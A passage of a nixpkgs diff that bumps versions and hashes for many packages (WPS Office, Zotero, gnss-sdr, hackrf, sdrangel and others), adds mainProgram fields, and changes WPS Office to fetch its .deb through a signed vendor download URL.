100644 --- a/pkgs/applications/office/wpsoffice/default.nix +++ b/pkgs/applications/office/wpsoffice/default.nix @@ -16,20 +16,49 @@ , xorg , cups , pango +, runCommandLocal +, curl +, coreutils +, cacert , useChineseVersion ? false }: - +let + pkgVersion = "11.1.0.11719"; + url = + if useChineseVersion then + "https://wps-linux-personal.wpscdn.cn/wps/download/ep/Linux2019/${lib.last (lib.splitVersion pkgVersion)}/wps-office_${pkgVersion}_amd64.deb" + else + "https://wdl1.pcfg.cache.wpscdn.com/wpsdl/wpsoffice/download/linux/${lib.last (lib.splitVersion pkgVersion)}/wps-office_${pkgVersion}.XA_amd64.deb"; + hash = + if useChineseVersion then + "sha256-LgE5du2ZnMsAqgoQkY63HWyWYA5TLS5I8ArRYrpxffs=" + else + "sha256-6fXzHSMzZDGuBubOXsHA0YEUGKcy5QIPg3noyxUbdjA="; + uri = builtins.replaceStrings [ "https://wps-linux-personal.wpscdn.cn" ] [ "" ] url; + securityKey = "7f8faaaa468174dc1c9cd62e5f218a5b"; +in stdenv.mkDerivation rec { pname = "wpsoffice"; - version = "11.1.0.11711"; + version = pkgVersion; - src = if useChineseVersion then fetchurl { - url = "https://wps-linux-personal.wpscdn.cn/wps/download/ep/Linux2019/${lib.last (lib.splitVersion version)}/wps-office_${version}_amd64.deb"; - hash = "sha256-JHSTZZnOZoTpj8zF4C5PmjTkftEdxbeaqweY3ITiJto="; - } else fetchurl { - url = "https://wdl1.pcfg.cache.wpscdn.com/wpsdl/wpsoffice/download/linux/${lib.last (lib.splitVersion version)}/wps-office_${version}.XA_amd64.deb"; - hash = "sha256-2apkSE/8Wm6/OQ4x5n1PE1emhovqOgD0NVTY5QZZTYA="; - }; + src = runCommandLocal (if useChineseVersion then "wps-office_${version}_amd64.deb" else "wps-office_${version}.XA_amd64.deb") + { + outputHashMode = "recursive"; + outputHashAlgo = "sha256"; + outputHash = hash; + + nativeBuildInputs = [ curl coreutils ]; + + SSL_CERT_FILE = "${cacert}/etc/ssl/certs/ca-bundle.crt"; + } '' + timestamp10=$(date '+%s') + md5hash=($(echo -n "${securityKey}${uri}$timestamp10" | md5sum)) + + curl \ + --retry 3 --retry-delay 3 \ + "${url}?t=$timestamp10&k=$md5hash" \ + > $out + ''; unpackCmd = "dpkg -x $src ."; sourceRoot = "."; @@ -102,6 +131,6 @@ stdenv.mkDerivation rec { sourceProvenance = with sourceTypes; [ binaryNativeCode ]; hydraPlatforms = [ ]; license = licenses.unfreeRedistributable; - maintainers = with maintainers; [ mlatus th0rgal rewine ]; + maintainers = with maintainers; [ mlatus th0rgal rewine pokon548 ]; }; } diff --git a/pkgs/applications/office/zk/default.nix b/pkgs/applications/office/zk/default.nix index 066c2d244b722..6cdbb0d63af25 100644 --- a/pkgs/applications/office/zk/default.nix +++ b/pkgs/applications/office/zk/default.nix @@ -26,5 +26,6 @@ buildGoModule rec { license = licenses.gpl3; description = "A zettelkasten plain text note-taking assistant"; homepage = "https://github.com/mickael-menu/zk"; + mainProgram = "zk"; }; } diff --git a/pkgs/applications/office/zotero/zotero_7.nix b/pkgs/applications/office/zotero/zotero_7.nix index 941581d22df02..0de12fb2fd140 100644 --- a/pkgs/applications/office/zotero/zotero_7.nix +++ b/pkgs/applications/office/zotero/zotero_7.nix @@ -47,8 +47,8 @@ stdenv.mkDerivation rec { version = "7.0.0-beta"; src = fetchurl { - url = "https://download.zotero.org/client/beta/${version}.51%2B7c5600913/Zotero-${version}.51%2B7c5600913_linux-x86_64.tar.bz2"; - hash = "sha256-zJ+jG7zlvWq+WEYOPyMIhqHPfsUe9tn0cbRyibQ7bFw="; + url = "https://download.zotero.org/client/beta/${version}.65%2Bb047f3d90/Zotero-${version}.65%2Bb047f3d90_linux-x86_64.tar.bz2"; + hash = "sha256-e7T/hvb8bFb4hkouihBkgqUu4ugYoUMHNVKxh0r/WUM="; }; nativeBuildInputs = [ @@ -125,10 +125,12 @@ stdenv.mkDerivation rec { # install desktop file and icons. mkdir -p $out/share/applications cp ${desktopItem}/share/applications/* $out/share/applications/ - for size in 16 32 48 256; do - install -Dm444 chrome/icons/default/default$size.png \ + for size in 32 64 128; do + install -Dm444 icons/icon$size.png \ $out/share/icons/hicolor/''${size}x''${size}/apps/zotero.png done + install -Dm444 icons/symbolic.svg \ + $out/share/icons/hicolor/symbolic/apps/zotero-symbolic.svg runHook postInstall ''; diff --git a/pkgs/applications/radio/aldo/default.nix b/pkgs/applications/radio/aldo/default.nix index cbe906e4672d5..3488ddecde396 100644 --- a/pkgs/applications/radio/aldo/default.nix +++ b/pkgs/applications/radio/aldo/default.nix @@ -22,5 +22,6 @@ in stdenv.mkDerivation { license = licenses.gpl3Plus; maintainers = with maintainers; [ ]; platforms = platforms.linux; + mainProgram = "aldo"; }; } diff --git a/pkgs/applications/radio/anytone-emu/default.nix b/pkgs/applications/radio/anytone-emu/default.nix index eea51546057e3..5f4731616667e 100644 --- a/pkgs/applications/radio/anytone-emu/default.nix +++ b/pkgs/applications/radio/anytone-emu/default.nix @@ -38,5 +38,6 @@ rustPlatform.buildRustPackage rec { license = licenses.gpl3Only; maintainers = with maintainers; [ janik ]; platforms = platforms.linux; + mainProgram = "anytone-emu"; }; } diff --git a/pkgs/applications/radio/chirp/default.nix b/pkgs/applications/radio/chirp/default.nix index 6b41c36550eff..066c93361899b 100644 --- a/pkgs/applications/radio/chirp/default.nix +++ b/pkgs/applications/radio/chirp/default.nix @@ -9,13 +9,13 @@ python3.pkgs.buildPythonApplication rec { pname = "chirp"; - version = "unstable-2023-06-02"; + version = "unstable-2024-02-08"; src = fetchFromGitHub { owner = "kk7ds"; repo = "chirp"; - rev = "72789c3652c332dc68ba694f8f8f005913fe5c95"; - hash = "sha256-WQwCX7h9BFLdYOBVVntxQ6g4t3j7QLfNmlHVLzlRh7U="; + rev = "902043a937ee3611744f2a4e35cd902c7b0a8d0b"; + hash = "sha256-oDUtR1xD73rfBRKkbE1f68siO/4oxoLxw16w1qa9fEo="; }; buildInputs = [ glib @@ -44,6 +44,7 @@ python3.pkgs.buildPythonApplication rec { description = "A free, open-source tool for programming your amateur radio"; homepage = "https://chirp.danplanet.com/"; license = licenses.gpl3Plus; + maintainers = [ maintainers.emantor ]; platforms = platforms.linux; }; } diff --git a/pkgs/applications/radio/cloudlog/default.nix b/pkgs/applications/radio/cloudlog/default.nix index efdf95fc98414..31bcea6d588de 100644 --- a/pkgs/applications/radio/cloudlog/default.nix +++ b/pkgs/applications/radio/cloudlog/default.nix @@ -8,13 +8,13 @@ stdenvNoCC.mkDerivation rec { pname = "cloudlog"; - version = "2.6.3"; + version = "2.6.5"; src = fetchFromGitHub { owner = "magicbug"; repo = "Cloudlog"; rev = version; - hash = "sha256-axulZxMSgpBtF2cUCUWiVdiEOAalvo6RNtG4xpEmC7o="; + hash = "sha256-RxA0joF+hqIL+eElVVwG0kxvzxkt3YsFaomf9GIHtCw="; }; postPatch = '' diff --git a/pkgs/applications/radio/cubicsdr/default.nix b/pkgs/applications/radio/cubicsdr/default.nix index 2af45d0394cb1..839fc9ceaaa14 100644 --- a/pkgs/applications/radio/cubicsdr/default.nix +++ b/pkgs/applications/radio/cubicsdr/default.nix @@ -36,5 +36,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ lasandell ]; platforms = platforms.unix; + mainProgram = "CubicSDR"; }; } diff --git a/pkgs/applications/radio/dmrconfig/default.nix b/pkgs/applications/radio/dmrconfig/default.nix index dab93eabe71c6..292263c0f2691 100644 --- a/pkgs/applications/radio/dmrconfig/default.nix +++ b/pkgs/applications/radio/dmrconfig/default.nix @@ -47,5 +47,6 @@ stdenv.mkDerivation rec { license = licenses.asl20; maintainers = with maintainers; [ ]; platforms = platforms.linux; + mainProgram = "dmrconfig"; }; } diff --git a/pkgs/applications/radio/dsd/default.nix b/pkgs/applications/radio/dsd/default.nix index c98974740667d..72b6f305d3c61 100644 --- a/pkgs/applications/radio/dsd/default.nix +++ b/pkgs/applications/radio/dsd/default.nix @@ -34,5 +34,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; platforms = platforms.unix; maintainers = with maintainers; [ andrew-d ]; + mainProgram = "dsd"; }; } diff --git a/pkgs/applications/radio/ebook2cw/default.nix b/pkgs/applications/radio/ebook2cw/default.nix index 329d87d80f4c0..4c1d2a3424e73 100644 --- a/pkgs/applications/radio/ebook2cw/default.nix +++ b/pkgs/applications/radio/ebook2cw/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; platforms = platforms.all; maintainers = with maintainers; [ earldouglas ]; + mainProgram = "ebook2cw"; }; } diff --git a/pkgs/applications/radio/flamp/default.nix b/pkgs/applications/radio/flamp/default.nix index 6d9c58eb9ab93..4e7326af19326 100644 --- a/pkgs/applications/radio/flamp/default.nix +++ b/pkgs/applications/radio/flamp/default.nix @@ -37,5 +37,6 @@ stdenv.mkDerivation (finalAttrs: { maintainers = with maintainers; [ stteague ]; platforms = platforms.unix; broken = stdenv.system == "x86_64-darwin"; + mainProgram = "flamp"; }; }) diff --git a/pkgs/applications/radio/flex-ndax/default.nix b/pkgs/applications/radio/flex-ndax/default.nix index b1bda9fadce35..d350d481b9f56 100644 --- a/pkgs/applications/radio/flex-ndax/default.nix +++ b/pkgs/applications/radio/flex-ndax/default.nix @@ -21,5 +21,6 @@ buildGoModule rec { description = "FlexRadio digital audio transport (DAX) connector for PulseAudio"; license = licenses.mit; maintainers = with maintainers; [ mvs ]; + mainProgram = "nDAX"; }; } diff --git a/pkgs/applications/radio/fllog/default.nix b/pkgs/applications/radio/fllog/default.nix index b9490e47e5a54..46b99349be4f7 100644 --- a/pkgs/applications/radio/fllog/default.nix +++ b/pkgs/applications/radio/fllog/default.nix @@ -30,5 +30,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl3Plus; maintainers = with lib.maintainers; [ dysinger ]; platforms = lib.platforms.linux; + mainProgram = "fllog"; }; } diff --git a/pkgs/applications/radio/flmsg/default.nix b/pkgs/applications/radio/flmsg/default.nix index d4b97e3a29dca..510c6e4b3323c 100644 --- a/pkgs/applications/radio/flmsg/default.nix +++ b/pkgs/applications/radio/flmsg/default.nix @@ -30,5 +30,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl3Plus; maintainers = with lib.maintainers; [ dysinger ]; platforms = lib.platforms.linux; + mainProgram = "flmsg"; }; } diff --git a/pkgs/applications/radio/flrig/default.nix b/pkgs/applications/radio/flrig/default.nix index 83c28d47f7bb8..18c4ab1c20526 100644 --- a/pkgs/applications/radio/flrig/default.nix +++ b/pkgs/applications/radio/flrig/default.nix @@ -32,5 +32,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl3Plus; maintainers = with lib.maintainers; [ dysinger ]; platforms = lib.platforms.linux; + mainProgram = "flrig"; }; } diff --git a/pkgs/applications/radio/flwrap/default.nix b/pkgs/applications/radio/flwrap/default.nix index 04b96b36c1446..96c3125552d60 100644 --- a/pkgs/applications/radio/flwrap/default.nix +++ b/pkgs/applications/radio/flwrap/default.nix @@ -30,5 +30,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl3Plus; maintainers = with lib.maintainers; [ dysinger ]; platforms = lib.platforms.linux; + mainProgram = "flwrap"; }; } diff --git a/pkgs/applications/radio/freedv/default.nix b/pkgs/applications/radio/freedv/default.nix index 4af1843b17b72..f02337ff71beb 100644 --- a/pkgs/applications/radio/freedv/default.nix +++ b/pkgs/applications/radio/freedv/default.nix @@ -92,5 +92,6 @@ stdenv.mkDerivation rec { license = licenses.lgpl21; maintainers = with maintainers; [ mvs wegank ]; platforms = platforms.unix; + mainProgram = "freedv"; }; } diff --git a/pkgs/applications/radio/gnss-sdr/default.nix b/pkgs/applications/radio/gnss-sdr/default.nix index c1d3950bed016..2a0d61a8e5966 100644 --- a/pkgs/applications/radio/gnss-sdr/default.nix +++ b/pkgs/applications/radio/gnss-sdr/default.nix @@ -21,13 +21,13 @@ gnuradio.pkgs.mkDerivation rec { pname = "gnss-sdr"; - version = "0.0.17"; + version = "0.0.19.1"; src = fetchFromGitHub { owner = "gnss-sdr"; repo = "gnss-sdr"; rev = "v${version}"; - sha256 = "sha256-0aAjkrVAswoRL/KANBSZ5Jq4Y9VwOHZKUKLpXDdKtk8="; + sha256 = "sha256-IbkYdw1pwI+FMnZMChsxMz241Kv4EzMcBb0mm6/jq1k="; }; patches = [ @@ -75,27 +75,27 @@ gnuradio.pkgs.mkDerivation rec { ]; cmakeFlags = [ - "-DGFlags_INCLUDE_DIRS=${gflags}/include" - "-DGLOG_INCLUDE_DIR=${glog}/include" + (lib.cmakeFeature "GFlags_INCLUDE_DIRS" "${gflags}/include") + (lib.cmakeFeature "GLOG_INCLUDE_DIR" "${glog}/include") # Should use .dylib if darwin support is requested - "-DGFlags_LIBS=${gflags}/lib/libgflags.so" - "-DGLOG_LIBRARIES=${glog}/lib/libglog.so" + (lib.cmakeFeature "GFlags_LIBS" "${gflags}/lib/libgflags.so") + (lib.cmakeFeature "-DGLOG_LIBRARIES" "${glog}/lib/libglog.so") # Use our dependencies glog, gflags and armadillo dependencies - "-DENABLE_OWN_GLOG=OFF" - "-DENABLE_OWN_ARMADILLO=OFF" - "-DENABLE_ORC=ON" - "-DENABLE_LOG=ON" - "-DENABLE_RAW_UDP=${if enableRawUdp then "ON" else "OFF"}" - "-DENABLE_UHD=${if (gnuradio.hasFeature "gr-uhd") then "ON" else "OFF"}" - "-DENABLE_FMCOMMS2=${if (gnuradio.hasFeature "gr-iio" && gnuradio.hasFeature "gr-pdu") then "ON" else "OFF"}" - "-DENABLE_PLUTOSDR=${if (gnuradio.hasFeature "gr-iio") then "ON" else "OFF"}" - "-DENABLE_AD9361=${if (gnuradio.hasFeature "gr-pdu") then "ON" else "OFF"}" - "-DENABLE_UNIT_TESTING=OFF" + (lib.cmakeBool "ENABLE_OWN_GLOG" false) + (lib.cmakeBool "ENABLE_OWN_ARMADILLO" false) + (lib.cmakeBool "ENABLE_ORC" true) + (lib.cmakeBool "ENABLE_LOG" true) + (lib.cmakeBool "ENABLE_RAW_UDP" enableRawUdp) + (lib.cmakeBool "ENABLE_UHD" (gnuradio.hasFeature "gr-uhd")) + (lib.cmakeBool "ENABLE_FMCOMMS2" (gnuradio.hasFeature "gr-iio" && gnuradio.hasFeature "gr-pdu")) + (lib.cmakeBool "ENABLE_PLUTOSDR" (gnuradio.hasFeature "gr-iio")) + (lib.cmakeBool "ENABLE_AD9361" (gnuradio.hasFeature "gr-pdu")) + (lib.cmakeBool "ENABLE_UNIT_TESTING" false) # gnss-sdr doesn't truly depend on BLAS or LAPACK, as long as # armadillo is built using both, so skip checking for them. - "-DBLAS_LIBRARIES=-lblas" - "-DLAPACK_LIBRARIES=-llapack" + (lib.cmakeFeature "BLAS_LIBRARIES" "-lblas") + (lib.cmakeFeature "LAPACK_LIBRARIES" "-llapack") ]; meta = with lib; { diff --git a/pkgs/applications/radio/gnss-sdr/fix_libcpu_features_install_path.patch b/pkgs/applications/radio/gnss-sdr/fix_libcpu_features_install_path.patch index 46925e741a1c2..4ff86bfab4bed 100644 --- a/pkgs/applications/radio/gnss-sdr/fix_libcpu_features_install_path.patch +++ b/pkgs/applications/radio/gnss-sdr/fix_libcpu_features_install_path.patch @@ -1,7 +1,7 @@ --- i/CMakeLists.txt +++ w/CMakeLists.txt -@@ -1210,7 +1210,7 @@ if(NOT VOLKGNSSSDR_FOUND) - BINARY_DIR ${CMAKE_BINARY_DIR}/volk_gnsssdr_module/build +@@ -1233,7 +1233,7 @@ if(NOT VOLKGNSSSDR_FOUND) + BINARY_DIR ${GNSSSDR_BINARY_DIR}/volk_gnsssdr_module/build CMAKE_ARGS ${VOLK_GNSSSDR_CMAKE_ARGS} -DCMAKE_BUILD_TYPE=$<$<CONFIG:None>:None>$<$<CONFIG:Debug>:Debug>$<$<CONFIG:Release>:Release>$<$<CONFIG:RelWithDebInfo>:RelWithDebInfo>$<$<CONFIG:MinSizeRel>:MinSizeRel>$<$<CONFIG:NoOptWithASM>:NoOptWithASM>$<$<CONFIG:Coverage>:Coverage>$<$<CONFIG:O2WithASM>:O2WithASM>$<$<CONFIG:O3WithASM>:O3WithASM>$<$<CONFIG:ASAN>:ASAN> - -DCMAKE_INSTALL_LIBDIR=${CMAKE_INSTALL_LIBDIR} @@ -9,17 +9,17 @@ DOWNLOAD_COMMAND "" UPDATE_COMMAND "" PATCH_COMMAND "" -@@ -1248,7 +1248,7 @@ if(NOT VOLKGNSSSDR_FOUND) +@@ -1274,7 +1274,7 @@ if(NOT VOLKGNSSSDR_FOUND) ) set(VOLK_GNSSSDR_BUILD_BYPRODUCTS ${VOLK_GNSSSDR_BUILD_BYPRODUCTS} -- ${CMAKE_BINARY_DIR}/volk_gnsssdr_module/install/${CMAKE_INSTALL_LIBDIR}/${CMAKE_FIND_LIBRARY_PREFIXES}cpu_features${CMAKE_STATIC_LIBRARY_SUFFIX} -+ ${CMAKE_BINARY_DIR}/volk_gnsssdr_module/install/lib/${CMAKE_FIND_LIBRARY_PREFIXES}cpu_features${CMAKE_STATIC_LIBRARY_SUFFIX} +- ${GNSSSDR_BINARY_DIR}/volk_gnsssdr_module/install/${CMAKE_INSTALL_LIBDIR}/${CMAKE_FIND_LIBRARY_PREFIXES}cpu_features${CMAKE_STATIC_LIBRARY_SUFFIX} ++ ${GNSSSDR_BINARY_DIR}/volk_gnsssdr_module/install/lib/${CMAKE_FIND_LIBRARY_PREFIXES}cpu_features${CMAKE_STATIC_LIBRARY_SUFFIX} ) endif() endif() -@@ -1261,7 +1261,7 @@ if(NOT VOLKGNSSSDR_FOUND) - BINARY_DIR ${CMAKE_BINARY_DIR}/volk_gnsssdr_module/build +@@ -1287,7 +1287,7 @@ if(NOT VOLKGNSSSDR_FOUND) + BINARY_DIR ${GNSSSDR_BINARY_DIR}/volk_gnsssdr_module/build CMAKE_ARGS ${VOLK_GNSSSDR_CMAKE_ARGS} -DCMAKE_BUILD_TYPE=$<$<CONFIG:None>:None>$<$<CONFIG:Debug>:Debug>$<$<CONFIG:Release>:Release>$<$<CONFIG:RelWithDebInfo>:RelWithDebInfo>$<$<CONFIG:MinSizeRel>:MinSizeRel>$<$<CONFIG:NoOptWithASM>:NoOptWithASM>$<$<CONFIG:Coverage>:Coverage>$<$<CONFIG:O2WithASM>:O2WithASM>$<$<CONFIG:O3WithASM>:O3WithASM>$<$<CONFIG:ASAN>:ASAN> - -DCMAKE_INSTALL_LIBDIR=${CMAKE_INSTALL_LIBDIR} @@ -27,8 +27,8 @@ DOWNLOAD_COMMAND "" UPDATE_COMMAND "" PATCH_COMMAND "" -@@ -1280,7 +1280,7 @@ if(NOT VOLKGNSSSDR_FOUND) - BINARY_DIR ${CMAKE_BINARY_DIR}/volk_gnsssdr_module/build +@@ -1306,7 +1306,7 @@ if(NOT VOLKGNSSSDR_FOUND) + BINARY_DIR ${GNSSSDR_BINARY_DIR}/volk_gnsssdr_module/build CMAKE_ARGS ${VOLK_GNSSSDR_CMAKE_ARGS} -DCMAKE_BUILD_TYPE=$<$<CONFIG:None>:None>$<$<CONFIG:Debug>:Debug>$<$<CONFIG:Release>:Release>$<$<CONFIG:RelWithDebInfo>:RelWithDebInfo>$<$<CONFIG:MinSizeRel>:MinSizeRel>$<$<CONFIG:NoOptWithASM>:NoOptWithASM>$<$<CONFIG:Coverage>:Coverage>$<$<CONFIG:O2WithASM>:O2WithASM>$<$<CONFIG:O3WithASM>:O3WithASM>$<$<CONFIG:ASAN>:ASAN> - -DCMAKE_INSTALL_LIBDIR=${CMAKE_INSTALL_LIBDIR} @@ -36,12 +36,12 @@ DOWNLOAD_COMMAND "" UPDATE_COMMAND "" PATCH_COMMAND "" -@@ -1319,7 +1319,7 @@ if(NOT VOLKGNSSSDR_FOUND) +@@ -1346,7 +1346,7 @@ if(NOT VOLKGNSSSDR_FOUND) if(CMAKE_VERSION VERSION_GREATER 3.0 AND SUPPORTED_CPU_FEATURES_ARCH) if(NOT CPUFEATURES_FOUND AND ENABLE_CPUFEATURES) set_target_properties(Volkgnsssdr::volkgnsssdr PROPERTIES -- INTERFACE_LINK_LIBRARIES ${CMAKE_BINARY_DIR}/volk_gnsssdr_module/install/${CMAKE_INSTALL_LIBDIR}/${CMAKE_FIND_LIBRARY_PREFIXES}cpu_features${CMAKE_STATIC_LIBRARY_SUFFIX} -+ INTERFACE_LINK_LIBRARIES ${CMAKE_BINARY_DIR}/volk_gnsssdr_module/install/lib/${CMAKE_FIND_LIBRARY_PREFIXES}cpu_features${CMAKE_STATIC_LIBRARY_SUFFIX} +- INTERFACE_LINK_LIBRARIES ${GNSSSDR_BINARY_DIR}/volk_gnsssdr_module/install/${CMAKE_INSTALL_LIBDIR}/${CMAKE_FIND_LIBRARY_PREFIXES}cpu_features${CMAKE_STATIC_LIBRARY_SUFFIX} ++ INTERFACE_LINK_LIBRARIES ${GNSSSDR_BINARY_DIR}/volk_gnsssdr_module/install/lib/${CMAKE_FIND_LIBRARY_PREFIXES}cpu_features${CMAKE_STATIC_LIBRARY_SUFFIX} ) endif() endif() diff --git a/pkgs/applications/radio/hackrf/default.nix b/pkgs/applications/radio/hackrf/default.nix index 647f3efd6706c..bc6b2e424f600 100644 --- a/pkgs/applications/radio/hackrf/default.nix +++ b/pkgs/applications/radio/hackrf/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "hackrf"; - version = "2023.01.1"; + version = "2024.02.1"; src = fetchFromGitHub { owner = "greatscottgadgets"; repo = "hackrf"; rev = "v${version}"; - sha256 = "sha256-zvSSCNtqHOZVlrBggjgxEyUTqTiAIAhdzUkm4Pm9b3k="; + sha256 = "sha256-b3nGrk2P6ZLYBSCSD7c0aIApCh3ZoVDcFftybqm4vx0="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/radio/kalibrate-hackrf/default.nix b/pkgs/applications/radio/kalibrate-hackrf/default.nix index f10840e1bea96..1d821bba4adfc 100644 --- a/pkgs/applications/radio/kalibrate-hackrf/default.nix +++ b/pkgs/applications/radio/kalibrate-hackrf/default.nix @@ -34,5 +34,6 @@ stdenv.mkDerivation { license = licenses.bsd2; platforms = platforms.linux; maintainers = [ maintainers.mog ]; + mainProgram = "kal-hackrf"; }; } diff --git a/pkgs/applications/radio/kappanhang/default.nix b/pkgs/applications/radio/kappanhang/default.nix index 41037c5092197..be8fa24a949e4 100644 --- a/pkgs/applications/radio/kappanhang/default.nix +++ b/pkgs/applications/radio/kappanhang/default.nix @@ -22,5 +22,6 @@ buildGoModule rec { license = licenses.mit; platforms = platforms.linux; maintainers = with maintainers; [ mvs ]; + mainProgram = "kappanhang"; }; } diff --git a/pkgs/applications/radio/minimodem/default.nix b/pkgs/applications/radio/minimodem/default.nix index c023e76b273ef..a09e62dfd191d 100644 --- a/pkgs/applications/radio/minimodem/default.nix +++ b/pkgs/applications/radio/minimodem/default.nix @@ -36,6 +36,7 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl3Plus; platforms = with lib.platforms; linux; maintainers = with lib.maintainers; [ relrod ]; + mainProgram = "minimodem"; }; } diff --git a/pkgs/applications/radio/noaa-apt/default.nix b/pkgs/applications/radio/noaa-apt/default.nix index 95ab7f9baadd4..65024c24b00eb 100644 --- a/pkgs/applications/radio/noaa-apt/default.nix +++ b/pkgs/applications/radio/noaa-apt/default.nix @@ -66,5 +66,6 @@ rustPlatform.buildRustPackage rec { maintainers = with maintainers; [ trepetti tmarkus ]; platforms = platforms.all; changelog = "https://github.com/martinber/noaa-apt/releases/tag/v${version}"; + mainProgram = "noaa-apt"; }; } diff --git a/pkgs/applications/radio/pat/default.nix b/pkgs/applications/radio/pat/default.nix index bddb3b986a33c..61cee240e5cfa 100644 --- a/pkgs/applications/radio/pat/default.nix +++ b/pkgs/applications/radio/pat/default.nix @@ -41,5 +41,6 @@ buildGoModule rec { license = licenses.mit; maintainers = with maintainers; [ dotemup sarcasticadmin ]; platforms = platforms.unix; + mainProgram = "pat"; }; } diff --git a/pkgs/applications/radio/rtl_433/default.nix b/pkgs/applications/radio/rtl_433/default.nix index 8619179efae4c..46b9a9ed2ea33 100644 --- a/pkgs/applications/radio/rtl_433/default.nix +++ b/pkgs/applications/radio/rtl_433/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ earldouglas markuskowa ]; platforms = platforms.all; + mainProgram = "rtl_433"; }; } diff --git a/pkgs/applications/radio/sdrangel/default.nix b/pkgs/applications/radio/sdrangel/default.nix index 4c547cb4b1258..c20aded859daa 100644 --- a/pkgs/applications/radio/sdrangel/default.nix +++ b/pkgs/applications/radio/sdrangel/default.nix @@ -52,13 +52,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "sdrangel"; - version = "7.17.3"; + version = "7.18.1"; src = fetchFromGitHub { owner = "f4exb"; repo = "sdrangel"; rev = "v${finalAttrs.version}"; - hash = "sha256-NjahPDHM6qbBXTpDSe8HQPslMO0yTd6/0piNzrFNerM="; + hash = "sha256-7sGjO2DyjA/KeAEBTrli+/9QZTKu7VKkJFp3BJk9UVs="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/radio/sdrplay/default.nix b/pkgs/applications/radio/sdrplay/default.nix index 8e7c14ec5e249..9d9ee298e09c0 100644 --- a/pkgs/applications/radio/sdrplay/default.nix +++ b/pkgs/applications/radio/sdrplay/default.nix @@ -64,5 +64,6 @@ stdenv.mkDerivation rec { license = licenses.unfree; maintainers = with maintainers; [ pmenke zaninime ]; platforms = platforms.linux; + mainProgram = "sdrplay_apiService"; }; } diff --git a/pkgs/applications/radio/sdrpp/default.nix b/pkgs/applications/radio/sdrpp/default.nix index 76fa70984c20d..1ae5c028d28e8 100644 --- a/pkgs/applications/radio/sdrpp/default.nix +++ b/pkgs/applications/radio/sdrpp/default.nix @@ -134,5 +134,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Only; platforms = platforms.unix; maintainers = with maintainers; [ sikmir ]; + mainProgram = "sdrpp"; }; } diff --git a/pkgs/applications/radio/soapyremote/default.nix b/pkgs/applications/radio/soapyremote/default.nix index ebb34b0a0ce55..c6e7cddd0903c 100644 --- a/pkgs/applications/radio/soapyremote/default.nix +++ b/pkgs/applications/radio/soapyremote/default.nix @@ -27,5 +27,6 @@ in stdenv.mkDerivation { license = licenses.boost; maintainers = with maintainers; [ markuskowa ]; platforms = platforms.unix; + mainProgram = "SoapySDRServer"; }; } diff --git a/pkgs/applications/radio/srsran/default.nix b/pkgs/applications/radio/srsran/default.nix index a6745d2c406cc..5d03f9bcfdfb2 100644 --- a/pkgs/applications/radio/srsran/default.nix +++ b/pkgs/applications/radio/srsran/default.nix @@ -41,6 +41,8 @@ stdenv.mkDerivation rec { zeromq ]; + cmakeFlags = [ "-DENABLE_WERROR=OFF" ]; + meta = with lib; { homepage = "https://www.srslte.com/"; description = "Open-source 4G and 5G software radio suite."; diff --git a/pkgs/applications/radio/tncattach/default.nix b/pkgs/applications/radio/tncattach/default.nix index 5d88c84f71743..c536112e63a97 100644 --- a/pkgs/applications/radio/tncattach/default.nix +++ b/pkgs/applications/radio/tncattach/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ sarcasticadmin ]; platforms = platforms.linux; + mainProgram = "tncattach"; }; } diff --git a/pkgs/applications/radio/wsjtx/default.nix b/pkgs/applications/radio/wsjtx/default.nix index 23fb34db0e320..b624898664c8e 100644 --- a/pkgs/applications/radio/wsjtx/default.nix +++ b/pkgs/applications/radio/wsjtx/default.nix @@ -27,7 +27,7 @@ stdenv.mkDerivation rec { These modes were all designed for making reliable, confirmed ham radio contacts under extreme weak-signal conditions. ''; - homepage = "https://physics.princeton.edu/pulsar/k1jt/wsjtx.html"; + homepage = "https://wsjt.sourceforge.io"; license = with licenses; [ gpl3Plus ]; platforms = platforms.linux; maintainers = with maintainers; [ lasandell numinit melling ]; diff --git a/pkgs/applications/radio/xlog/default.nix b/pkgs/applications/radio/xlog/default.nix index fe2b915e93adc..4e492af65600f 100644 --- a/pkgs/applications/radio/xlog/default.nix +++ b/pkgs/applications/radio/xlog/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { maintainers = [ maintainers.mafo ]; license = licenses.gpl3; platforms = platforms.unix; + mainProgram = "xlog"; }; } diff --git a/pkgs/applications/science/biology/diamond/default.nix b/pkgs/applications/science/biology/diamond/default.nix index 9f47a9f0e4c56..3349c0392d08f 100644 --- a/pkgs/applications/science/biology/diamond/default.nix +++ b/pkgs/applications/science/biology/diamond/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "diamond"; - version = "2.1.8"; + version = "2.1.9"; src = fetchFromGitHub { owner = "bbuchfink"; repo = "diamond"; rev = "v${version}"; - sha256 = "sha256-6L/eS3shfJ33bsXo1BaCO4lKklh2KbOIO2tZsvwcjnA="; + sha256 = "sha256-cTg9TEpz3FSgX2tpfU4y55cCgFY5+mQY86FziHAwd+s="; }; diff --git a/pkgs/applications/science/biology/igv/default.nix b/pkgs/applications/science/biology/igv/default.nix index be663628a4268..6959a14df2505 100644 --- a/pkgs/applications/science/biology/igv/default.nix +++ b/pkgs/applications/science/biology/igv/default.nix @@ -2,10 +2,10 @@ stdenv.mkDerivation rec { pname = "igv"; - version = "2.17.1"; + version = "2.17.2"; src = fetchzip { url = "https://data.broadinstitute.org/igv/projects/downloads/${lib.versions.majorMinor version}/IGV_${version}.zip"; - sha256 = "sha256-EXI1jVr8cJPYLLe81hzqLpP3IypHBZ0cb6z+WrDeFKQ="; + sha256 = 